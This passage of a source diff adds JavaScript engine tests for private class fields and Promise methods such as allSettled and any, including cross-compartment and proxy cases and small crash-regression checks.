+ // disable lazy parsing, so right now
+ evaluate(str, {global: g});
+ } catch (e) {
+ throws.push(e);
+ }
+
+ return throws;
+}
+
+function assertSyntaxError(str) {
+ var exceptions = eval_and_report(str);
+ assertEq(exceptions.length, 2);
+ for (var e of exceptions) {
+ assertEq(/SyntaxError/.test(e.name), true);
+ }
+}
+
+function assertNoSyntaxError(str) {
+ var exceptions = eval_and_report(str);
+ assertEq(exceptions.length, 0);
+}
+
+assertSyntaxError('delete this.#x');
+assertSyntaxError('delete (this.#x)');
+assertSyntaxError('delete this?.#x');
+assertSyntaxError('delete this?.b.#x');
+// Should be OK
+assertNoSyntaxError('delete (0, this.#x.a)')
+assertNoSyntaxError('delete this?.b.#x.a')
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-in-class-context.js b/js/src/tests/non262/PrivateName/illegal-in-class-context.js
new file mode 100644
index 0000000000..3012e4bfe9
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-in-class-context.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Are private fields enabled?
+let privateFields = false;
+try {
+ Function('class C { #x; }');
+ privateFields = true;
+} catch (exc) {
+ assertEq(exc instanceof SyntaxError, true);
+}
+
+if (!privateFields) {
+ assertThrowsInstanceOf(() => eval(`class A { #x }`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`class A { #x=10 }`), SyntaxError);
+} else {
+ assertThrowsInstanceOf(() => eval(`class A { #x; #x; }`), SyntaxError);
+}
+
+// No computed private fields
+assertThrowsInstanceOf(
+ () => eval(`var x = "foo"; class A { #[x] = 20; }`), SyntaxError);
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-in-identifier-context.js b/js/src/tests/non262/PrivateName/illegal-in-identifier-context.js
new file mode 100644
index 0000000000..e7e232bf69
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-in-identifier-context.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Private names can't appear in contexts where plain identifiers are expected.
+
+// Private names as binding identifiers.
+assertThrowsInstanceOf(() => eval(`var #a;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`let #a;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`const #a = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`function #a(){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`function f(#a){}`), SyntaxError);
+
+// With escape sequences (leading and non-leading case).
+assertThrowsInstanceOf(() => eval(String.raw`var #\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`var #a\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`let #\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`let #a\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`const #\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`const #a\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function #\u0061(){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function #a\u0061(){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function f(#\u0061){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function f(#a\u0061){}`), SyntaxError);
+
+
+// Private names as label identifiers.
+assertThrowsInstanceOf(() => eval(`#a: ;`), SyntaxError);
+
+// With escape sequences (leading and non-leading case).
+assertThrowsInstanceOf(() => eval(String.raw`#\u0061: ;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`#a\u0061: ;`), SyntaxError);
+
+
+// Private names as identifier references.
+assertThrowsInstanceOf(() => eval(`#a = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`typeof #a;`), SyntaxError);
+
+// With escape sequences (leading and non-leading case).
+assertThrowsInstanceOf(() => eval(String.raw`#\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`#a\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`typeof #\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`typeof #a\u0061;`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-in-object-context.js b/js/src/tests/non262/PrivateName/illegal-in-object-context.js
new file mode 100644
index 0000000000..9cc1488376
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-in-object-context.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Private names aren't valid in object literals.
+
+assertThrowsInstanceOf(() => eval(`var o = {#a: 0};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {#a};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {#a(){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {get #a(){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {set #a(v){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {*#a(v){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {async #a(v){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {async *#a(v){}};`), SyntaxError);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/lexical-presence.js b/js/src/tests/non262/PrivateName/lexical-presence.js
new file mode 100644
index 0000000000..4ec5c310c4
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/lexical-presence.js
@@ -0,0 +1,55 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+// Verify that private fields are enabled.
+class A {
+ #x;
+};
+
+function assertThrowsSyntaxError(str) {
+ assertThrowsInstanceOf(() => eval(str), SyntaxError); // Direct Eval
+ assertThrowsInstanceOf(() => (1, eval)(str), SyntaxError); // Indirect Eval
+ assertThrowsInstanceOf(() => Function(str), SyntaxError); // Function
+}
+
+assertThrowsSyntaxError(`
+ class B {
+ g() {
+ return this.#x;
+ }
+ };
+`);
+
+assertThrowsSyntaxError(`
+with (new class A { #x; }) {
+ class B {
+ #y;
+ constructor() { return this.#x; }
+ }
+ }
+`);
+
+// Make sure we don't create a generic binding for #x.
+with(new class {
+ #x = 12;
+}) {
+ assertEq('#x' in this, false);
+}
+
+// Try to fetch a non-existing field using different
+// compilation contexts
+function assertNonExisting(fetchCode) {
+ source = `var X = class {
+ b() {
+ ${fetchCode}
+ }
+ }
+ var a = new X;
+ a.b()`
+ assertThrowsInstanceOf(() => eval(source), SyntaxError);
+}
+
+assertNonExisting(`return eval("this.#x")"`);
+assertNonExisting(`return (1,eval)("this.#x")`);
+assertNonExisting(`var f = Function("this.#x"); return f();`);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/modify-non-extensible.js b/js/src/tests/non262/PrivateName/modify-non-extensible.js
new file mode 100644
index 0000000000..b57f82b38e
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/modify-non-extensible.js
@@ -0,0 +1,42 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+// Returns the argument in the constructor to allow stamping private fields into
+// arbitrary objects.
+class OverrideBase {
+ constructor(o) {
+ return o;
+ }
+};
+
+class A extends OverrideBase {
+ #a = 1;
+ g() {
+ return this.#a
+ }
+
+ static gs(o) {
+ return o.#a;
+ }
+ static inca(obj) {
+ obj.#a++;
+ }
+}
+
+var obj = {};
+Object.seal(obj);
+new A(obj); // Add #a to obj, but not g.
+assertEq('g' in obj, false);
+assertEq(A.gs(obj), 1);
+A.inca(obj);
+assertEq(A.gs(obj), 2);
+
+// Ensure that the object remains non-extensible
+obj.h = 'hi'
+assertEq('h' in obj, false);
+
+
+Object.freeze(obj);
+A.inca(obj); // Despite being frozen, private names are modifiable.
+assertEq(A.gs(obj), 3);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/names.js b/js/src/tests/non262/PrivateName/names.js
new file mode 100644
index 0000000000..f71f1ac19d
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/names.js
@@ -0,0 +1,31 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+var C = class {
+ static #field = () => 'Test262';
+ static field = () => 'Test262';
+ #instance = () => 'Test262';
+ instance = () => 'Test262';
+
+ static accessPrivateField() {
+ return this.#field;
+ }
+
+ accessPrivateInstanceField() {
+ return this.#instance;
+ }
+
+ static accessField() {
+ return this.field;
+ }
+
+ accessInstanceField() {
+ return this.instance;
+ }
+}
+assertEq(C.accessPrivateField().name, '#field')
+assertEq(C.accessField().name, 'field');
+var c = new C;
+assertEq(c.accessPrivateInstanceField().name, '#instance');
+assertEq(c.accessInstanceField().name, 'instance');
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/nested-class-name-used.js b/js/src/tests/non262/PrivateName/nested-class-name-used.js
new file mode 100644
index 0000000000..cc1a77f375
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/nested-class-name-used.js
@@ -0,0 +1,33 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+// AllPrivateIdentifiersValid uses only lexical string names, not
+// the dynamic private names; which means the below is not a syntax
+// error but is instead a TypeError on access.
+
+class A {
+ #x = 10;
+ f() {
+ class B {
+ g() {
+ return this.#x; // note: #x isn't declared in this class, but
+ // the enclosing.
+ }
+ };
+ this.y = new B;
+ }
+ constructor() {
+ this.f();
+ }
+ g() {
+ return this.y.g();
+ }
+};
+
+a = new A;
+try {
+ a.g();
+} catch (e) {
+ assertEq(e instanceof TypeError, true);
+}
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/not-iterable.js b/js/src/tests/non262/PrivateName/not-iterable.js
new file mode 100644
index 0000000000..59c6169079
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/not-iterable.js
@@ -0,0 +1,39 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+//
+// Ensure PrivateNames aren't iterable.
+
+class O {
+ #x = 123;
+ gx() {
+ return this.#x;
+ }
+}
+var o = new O;
+
+assertEq(o.gx(), 123);
+
+assertEq(Object.keys(o).length, 0);
+assertEq(Object.getOwnPropertyNames(o).length, 0);
+assertEq(Object.getOwnPropertySymbols(o).length, 0);
+assertEq(Reflect.ownKeys(o).length, 0);
+
+var forIn = [];
+for (var pk in o) {
+ forIn.push(pk);
+}
+assertEq(forIn.length, 0);
+
+// Proxy case
+var proxy = new Proxy(o, {});
+assertEq(Object.keys(proxy).length, 0);
+assertEq(Object.getOwnPropertyNames(proxy).length, 0);
+assertEq(Object.getOwnPropertySymbols(proxy).length, 0);
+assertEq(Reflect.ownKeys(proxy).length, 0);
+
+for (var pk in proxy) {
+ forIn.push(pk);
+}
+assertEq(forIn.length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/proxy-1.js b/js/src/tests/non262/PrivateName/proxy-1.js
new file mode 100644
index 0000000000..5a70841450
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/proxy-1.js
@@ -0,0 +1,21 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+class A {
+ #x = 10;
+ g() {
+ return this.#x;
+ }
+};
+
+var p = new Proxy(new A, {});
+var completed = false;
+try {
+ p.g();
+ completed = true;
+} catch (e) {
+ assertEq(e instanceof TypeError, true);
+}
+assertEq(completed, false);
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/proxy-ccw.js b/js/src/tests/non262/PrivateName/proxy-ccw.js
new file mode 100644
index 0000000000..e68426b93d
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/proxy-ccw.js
@@ -0,0 +1,66 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+// Validate CCWs and proxies
+class Base {
+ constructor(o) {
+ return o;
+ }
+}
+
+class A extends Base {
+ x1 = 12;
+ #x = 10;
+ static gx(o) {
+ return o.#x;
+ }
+ static sx(o, x) {
+ o.#x = x;
+ }
+ static hasx(o) {
+ try {
+ o.#x;
+ return true;
+ } catch {
+ return false;
+ }
+ }
+}
+
+
+var g = newGlobal({newCompartment: true});
+g.A = A;
+
+// cross_compartment_target is a cross compartment wrapper to an empty object.
+var cross_compartment_target = g.eval('this.x = {}; this.x');
+
+// #x gets stamped into the target of the CCW.
+new A(cross_compartment_target);
+assertEq(A.hasx(cross_compartment_target), true);
+
+// Can we update and read from this compartment?
+assertEq(A.gx(cross_compartment_target), 10);
+var o = {test: 12};
+A.sx(cross_compartment_target, o);
+assertEq(A.gx(cross_compartment_target), o);
+
+// Can we read and update from the other compartment?
+assertEq(g.eval('this.A.gx(this.x)'), o);
+var y = g.eval('this.y = {test: 13}; this.A.sx(this.x, this.y); this.y');
+assertEq(g.eval('this.A.gx(this.x)'), y);
+assertEq(A.gx(cross_compartment_target), y);
+
+
+if (typeof nukeCCW === 'function') {
+ // Nuke the CCW. Now things should throw.
+ nukeCCW(cross_compartment_target);
+ var threw = true;
+ try {
+ A.gx(cross_compartment_target);
+ threw = false;
+ } catch (e) {
+ }
+ assertEq(threw, true);
+}
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/proxy-init-set.js b/js/src/tests/non262/PrivateName/proxy-init-set.js
new file mode 100644
index 0000000000..0d94ec0492
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/proxy-init-set.js
@@ -0,0 +1,75 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+// Ensure that the distinction between Proxy Init and Proxy Set holds
+
+function assertThrowsTypeError(f) {
+ var type;
+ try {
+ f();
+ } catch (ex) {
+ type = ex.name;
+ }
+ assertEq(type, 'TypeError');
+}
+
+
+
+var target = {};
+var p1 = new Proxy(target, {});
+var p2 = new Proxy(target, {});
+
+class Base {
+ constructor(o) {
+ return o;
+ }
+}
+
+class A extends Base {
+ #field = 10;
+ static gf(o) {
+ return o.#field;
+ }
+ static sf(o) {
+ o.#field = 15;
+ }
+}
+
+class B extends Base {
+ #field = 25;
+ static gf(o) {
+ return o.#field;
+ }
+ static sf(o) {
+ o.#field = 20;
+ }
+}
+
+// Verify field handling on the proxy we install it on.
+new A(p1);
+assertEq(A.gf(p1), 10);
+A.sf(p1)
+assertEq(A.gf(p1), 15);
+
+// Despite P1 being stamped with A's field, it shouldn't
+// be sufficient to set B's field.
+assertThrowsTypeError(() => B.sf(p1));
+assertThrowsTypeError(() => B.gf(p1));
+assertThrowsTypeError(() => B.sf(p1));
+new B(p1);
+assertEq(B.gf(p1), 25);
+B.sf(p1);
+assertEq(B.gf(p1), 20);
+
+// A's field should't be on the target
+assertThrowsTypeError(() => A.gf(target));
+
+// Can't set the field, doesn't exist
+assertThrowsTypeError(() => A.sf(p2));
+
+// Definitely can't get the field, doesn't exist.
+assertThrowsTypeError(() => A.gf(p2));
+
+// Still should't be on the target.
+assertThrowsTypeError(() => A.gf(target));
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/read-private-eval.js b/js/src/tests/non262/PrivateName/read-private-eval.js
new file mode 100644
index 0000000000..1f96f2ac5c
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/read-private-eval.js
@@ -0,0 +1,13 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-option
+
+class A {
+ #x = 14;
+ g() {
+ return eval('this.#x');
+ }
+}
+
+a = new A;
+assertEq(a.g(), 14);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/shell.js b/js/src/tests/non262/PrivateName/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/shell.js
diff --git a/js/src/tests/non262/PrivateName/unicode-names.js b/js/src/tests/non262/PrivateName/unicode-names.js
new file mode 100644
index 0000000000..25eeffff4a
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/unicode-names.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+source = `class A {
+ // Ensure this name parses. Failure would be an InternalError: Buffer too
+ // small
+ #℘;
+}`;
+
+try {
+ Function(source);
+} catch (e) {
+ assertEq(getRealmConfiguration()['privateFields'], false);
+ assertEq(e instanceof SyntaxError, true);
+}
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/Promise/allSettled.js b/js/src/tests/non262/Promise/allSettled.js
new file mode 100644
index 0000000000..7644ea97a8
--- /dev/null
+++ b/js/src/tests/non262/Promise/allSettled.js
@@ -0,0 +1,86 @@
+// Smoke test for `Promise.allSettled`, test262 should cover the function in
+// more detail.
+
+// Empty elements.
+Promise.allSettled([]).then(v => {
+ assertDeepEq(v, []);
+});
+
+// Single element.
+Promise.allSettled([Promise.resolve(0)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "fulfilled", "value": 0},
+ ]);
+});
+Promise.allSettled([Promise.reject(1)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "rejected", "reason": 1},
+ ]);
+});
+
+// Multiple elements.
+Promise.allSettled([Promise.resolve(1), Promise.resolve(2)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "fulfilled", "value": 1},
+ {"status": "fulfilled", "value": 2},
+ ]);
+});
+Promise.allSettled([Promise.resolve(3), Promise.reject(4)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "fulfilled", "value": 3},
+ {"status": "rejected", "reason": 4},
+ ]);
+});
+Promise.allSettled([Promise.reject(5), Promise.resolve(6)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "rejected", "reason": 5},
+ {"status": "fulfilled", "value": 6},
+ ]);
+});
+Promise.allSettled([Promise.reject(7), Promise.reject(8)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "rejected", "reason": 7},
+ {"status": "rejected", "reason": 8},
+ ]);
+});
+
+// Cross-Realm tests.
+//
+// Note: When |g| is a cross-compartment global, Promise.allSettled creates
+// the result array in |g|'s Realm. This doesn't follow the spec, but the code
+// in js/src/builtin/Promise.cpp claims this is useful when the Promise
+// compartment is less-privileged. This means for this test we can't use
+// assertDeepEq below, because the result array may have the wrong prototype.
+let g = newGlobal();
+
+if (typeof isSameCompartment !== "function") {
+ var isSameCompartment = SpecialPowers.Cu.getJSTestingFunctions().isSameCompartment;
+}
+
+// Test wrapping when neither Promise.allSettled element function is called.
+Promise.allSettled.call(g.Promise, []).then(v => {
+ assertEq(isSameCompartment(v, g), true);
+
+ assertEq(v.length, 0);
+});
+
+// Test wrapping in `Promise.allSettled Resolve Element Function`.
+Promise.allSettled.call(g.Promise, [Promise.resolve(0)]).then(v => {
+ assertEq(isSameCompartment(v, g), true);
+
+ assertEq(v.length, 1);
+ assertEq(v[0].status, "fulfilled");
+ assertEq(v[0].value, 0);
+});
+
+// Test wrapping in `Promise.allSettled Reject Element Function`.
+Promise.allSettled.call(g.Promise, [Promise.reject(0)]).then(v => {
+ assertEq(isSameCompartment(v, g), true);
+
+ assertEq(v.length, 1);
+ assertEq(v[0].status, "rejected");
+ assertEq(v[0].reason, 0);
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/any-stack-overflow.js b/js/src/tests/non262/Promise/any-stack-overflow.js
new file mode 100644
index 0000000000..8f3919e90a
--- /dev/null
+++ b/js/src/tests/non262/Promise/any-stack-overflow.js
@@ -0,0 +1,14 @@
+// Bug 1646317 - Don't assert on stack overflow under Promise.any().
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+Array.prototype[Symbol.iterator] = function*() {
+ let rejected = Promise.reject(0);
+ let p = Promise.any([rejected]);
+}
+new Set(Object.keys(this));
+new Set(Object.keys(this));
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/any-stack.js b/js/src/tests/non262/Promise/any-stack.js
new file mode 100644
index 0000000000..dacb9e7f73
--- /dev/null
+++ b/js/src/tests/non262/Promise/any-stack.js
@@ -0,0 +1,69 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs async stack capture
+
+function toMessage(stack) {
+ // Provide the stack string in the error message for debugging.
+ return `[stack: ${stack.replace(/\n/g, "\\n")}]`;
+}
+
+// Test when AggregateError isn't created from a Promise Job.
+{
+ let p = Promise.any([]); // line 10
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^@.+any-stack.js:10/m.test(stack), true, toMessage(stack));
+ });
+}
+
+// Same as above, but now with surrounding function context.
+function testNoJobQueue() {
+ let p = Promise.any([]); // line 24
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^testNoJobQueue@.+any-stack.js:24/m.test(stack), true, toMessage(stack));
+ });
+}
+testNoJobQueue();
+
+// Test when AggregateError is created from a Promise Job.
+{
+ let rejected = Promise.reject(0);
+ let p = Promise.any([rejected]); // line 40
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^Promise.any\*@.+any-stack.js:40/m.test(stack), true, toMessage(stack));
+ });
+}
+
+// Same as above, but now with surrounding function context.
+function testFromJobQueue() {
+ let rejected = Promise.reject(0);
+ let p = Promise.any([rejected]); // line 55
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^Promise.any\*testFromJobQueue@.+any-stack.js:55/m.test(stack), true, toMessage(stack));
+ });
+}
+testFromJobQueue();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/any.js b/js/src/tests/non262/Promise/any.js
new file mode 100644
index 0000000000..ff5e676bf5
--- /dev/null
+++ b/js/src/tests/non262/Promise/any.js
@@ -0,0 +1,76 @@
+// Smoke test for `Promise.any`, test262 should cover the function in
+// more detail.
+
+function expectedError() {
+ reportCompare(true, false, "expected error");
+}
+
+// Empty elements.
+Promise.any([]).then(expectedError, e => {
+ assertEq(e instanceof AggregateError, true);
+ assertEq(e.errors.length, 0);
+});
+
+// Single element.
+Promise.any([Promise.resolve(0)]).then(v => {
+ assertEq(v, 0);
+});
+Promise.any([Promise.reject(1)]).then(expectedError, e => {
+ assertEq(e instanceof AggregateError, true);
+ assertEq(e.errors.length, 1);
+ assertEq(e.errors[0], 1);
+});
+
+// Multiple elements.
+Promise.any([Promise.resolve(1), Promise.resolve(2)]).then(v => {
+ assertEq(v, 1);
+});
+Promise.any([Promise.resolve(3), Promise.reject(4)]).then(v => {
+ assertEq(v, 3);
+});
+Promise.any([Promise.reject(5), Promise.resolve(6)]).then(v => {
+ assertEq(v, 6);
+});
+Promise.any([Promise.reject(7), Promise.reject(8)]).then(expectedError, e => {
+ assertEq(e instanceof AggregateError, true);
+ assertEq(e.errors.length, 2);
+ assertEq(e.errors[0], 7);
+ assertEq(e.errors[1], 8);
+});
+
+// Cross-Realm tests.
+//
+// Note: When |g| is a cross-compartment global, Promise.any creates the errors
+// array and the AggregateError in |g|'s Realm. This doesn't follow the spec, but
+// the code in js/src/builtin/Promise.cpp claims this is useful when the Promise
+// compartment is less-privileged. This means for this test we can't use
+// assertDeepEq below, because the result array/error may have the wrong prototype.
+let g = newGlobal();
+
+if (typeof isSameCompartment !== "function") {
+ var isSameCompartment = SpecialPowers.Cu.getJSTestingFunctions().isSameCompartment;
+}
+
+// Test wrapping when no `Promise.any Reject Element Function` is called.
+Promise.any.call(g.Promise, []).then(expectedError, e => {
+ assertEq(e.name, "AggregateError");
+
+ assertEq(isSameCompartment(e, g), true);
+ assertEq(isSameCompartment(e.errors, g), true);
+
+ assertEq(e.errors.length, 0);
+});
+
+// Test wrapping in `Promise.any Reject Element Function`.
+Promise.any.call(g.Promise, [Promise.reject("err")]).then(expectedError, e => {
+ assertEq(e.name, "AggregateError");
+
+ assertEq(isSameCompartment(e, g), true);
+ assertEq(isSameCompartment(e.errors, g), true);
+
+ assertEq(e.errors.length, 1);
+ assertEq(e.errors[0], "err");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/browser.js b/js/src/tests/non262/Promise/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Promise/browser.js
diff --git a/js/src/tests/non262/Promise/bug-1287334.js b/js/src/tests/non262/Promise/bug-1287334.js
new file mode 100644
index 0000000000..19b9ca0aa0
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1287334.js
@@ -0,0 +1,7 @@
+var promise = Promise.resolve(1);
+var FakeCtor = function(exec){ exec(function(){}, function(){}); };
+Object.defineProperty(Promise, Symbol.species, {value: FakeCtor});
+// This just shouldn't crash. It does without bug 1287334 fixed.
+promise.then(function(){});
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/bug-1288382.js b/js/src/tests/non262/Promise/bug-1288382.js
new file mode 100644
index 0000000000..0a673a9caa
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1288382.js
@@ -0,0 +1,8 @@
+// This just shouldn't trigger a failed assert.
+// It does without bug 1288382 fixed.
+Promise.all.call(class {
+ constructor(exec){ exec(()=>{}, ()=>{}); }
+ static resolve() { return {then(){}}; }
+}, [null]);
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/bug-1289040.js b/js/src/tests/non262/Promise/bug-1289040.js
new file mode 100644
index 0000000000..f5a9fd98e4
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1289040.js
@@ -0,0 +1,8 @@
+var global = newGlobal();
+Promise.prototype.then = global.Promise.prototype.then;
+p1 = new Promise(function f(r) {
+ r(1);
+});
+p2 = p1.then(function g(){});
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/dependent-promises.js b/js/src/tests/non262/Promise/dependent-promises.js
new file mode 100644
index 0000000000..d0e2bfa8e8
--- /dev/null
+++ b/js/src/tests/non262/Promise/dependent-promises.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+
+var g = newGlobal({newCompartment: true});
+var dbg = new Debugger(g);
+var gw = dbg.addDebuggee(g);
+
+g.eval(`
+var p = new Promise(() => {});
+p.name = "p";
+var q = p.then();
+q.name = "q";
+var r = p.then(null, () => {});
+r.name = "r";
+var s = Promise.all([p, q]);
+s.name = "s";
+var t = Promise.race([r, s]);
+t.name = "t";
+`);
+
+function getDependentNames(promise) {
+ return gw.makeDebuggeeValue(promise).promiseDependentPromises.map((p) => p.getOwnPropertyDescriptor('name').value);
+}
+
+function arraysEqual(arr1, arr2, msg) {
+ assertEq(arr1.length, arr2.length, msg + ": length");
+ for (var i = 0; i < arr1.length; ++i) {
+ assertEq(arr1[i], arr2[i], msg + ": [" + i + "]");
+ }
+}
+
+arraysEqual(getDependentNames(g.p), ["q", "r", "s"], "deps for p");
+arraysEqual(getDependentNames(g.q), ["s"], "deps for q");
+arraysEqual(getDependentNames(g.r), ["t"], "deps for r");
+arraysEqual(getDependentNames(g.s), ["t"], "deps for s");
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/enqueue-promise-reactions.js b/js/src/tests/non262/Promise/enqueue-promise-reactions.js
new file mode 100644
index 0000000000..e7a6c2426e
--- /dev/null
+++ b/js/src/tests/non262/Promise/enqueue-promise-reactions.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getSelfHostedValue and drainJobQueue
+
+function onResolved(val) {
+ result = 'resolved with ' + val;
+}
+
+function onRejected(val) {
+ result = 'rejected with ' + val;
+}
+
+// Replacing `Promise#then` shouldn't affect addPromiseReactions.
+Promise.prototype.then = 1;
+
+// Replacing Promise@@species shouldn't affect addPromiseReactions.
+Object.defineProperty(Promise, Symbol.species, { get: function(){} });
+
+// Replacing `Promise` shouldn't affect addPromiseReactions.
+let PromiseCtor = Promise;
+Promise = {};
+
+let result;
+let res;
+let rej;
+let p = new PromiseCtor(function(res_, rej_) { res = res_; rej = rej_; });
+
+addPromiseReactions(p, onResolved, onRejected);
+res('foo');
+drainJobQueue();
+assertEq(result, 'resolved with foo')
+
+p = new PromiseCtor(function(res_, rej_) { res = res_; rej = rej_; });
+
+addPromiseReactions(p, onResolved, onRejected);
+rej('bar');
+drainJobQueue();
+assertEq(result, 'rejected with bar');
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/for-of-iterator-uses-getv.js b/js/src/tests/non262/Promise/for-of-iterator-uses-getv.js
new file mode 100644
index 0000000000..28c888d7a3
--- /dev/null
+++ b/js/src/tests/non262/Promise/for-of-iterator-uses-getv.js
@@ -0,0 +1,25 @@
